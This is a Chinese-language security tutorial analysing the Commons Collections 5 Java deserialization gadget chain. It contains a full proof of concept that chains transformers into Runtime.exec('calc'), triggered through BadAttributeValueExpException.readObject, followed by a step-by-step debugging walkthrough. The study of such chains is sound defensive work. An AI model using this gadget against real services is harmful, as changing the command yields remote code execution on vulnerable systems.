Java安全之Commons Collections5分析

 

0x00 前言

在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

 

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。

HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

前面的new了一个HashMap传入到LazyMap里面,同时也传入了ChainedTransformer实例化对象,当调用get方法的时候,就会调用到ChainedTransformertransformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。

 TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

TiedMapEntry是一个新生面孔,来查看一下该类源码。

该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

而在toString方法里面就会去调用到getValue方法。

 BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

BadAttributeValueExpExceptionreadObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObjtoString方法。

 

0x02 CC5链调试

readObject复写点打个断点,也就是BadAttributeValueExpExceptionreadObject方法。

上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。

这里会去调用valObjtoString方法,也就是TiedMapEntrytoString方法。跟进一下该方法,查看调用。

这里面会去调用getKeygetValue方法,这里选择跟踪getValue方法。

这里的this.mapLazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

这里会去调用this.factorytransform,也就是ChainedTransformertransform。再来跟进一下。

接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。

第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

第四次执行里面的this.iMethodNameexec,this.iArgscalc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

调用链

BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

 

0x03 结尾

其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链。

(完)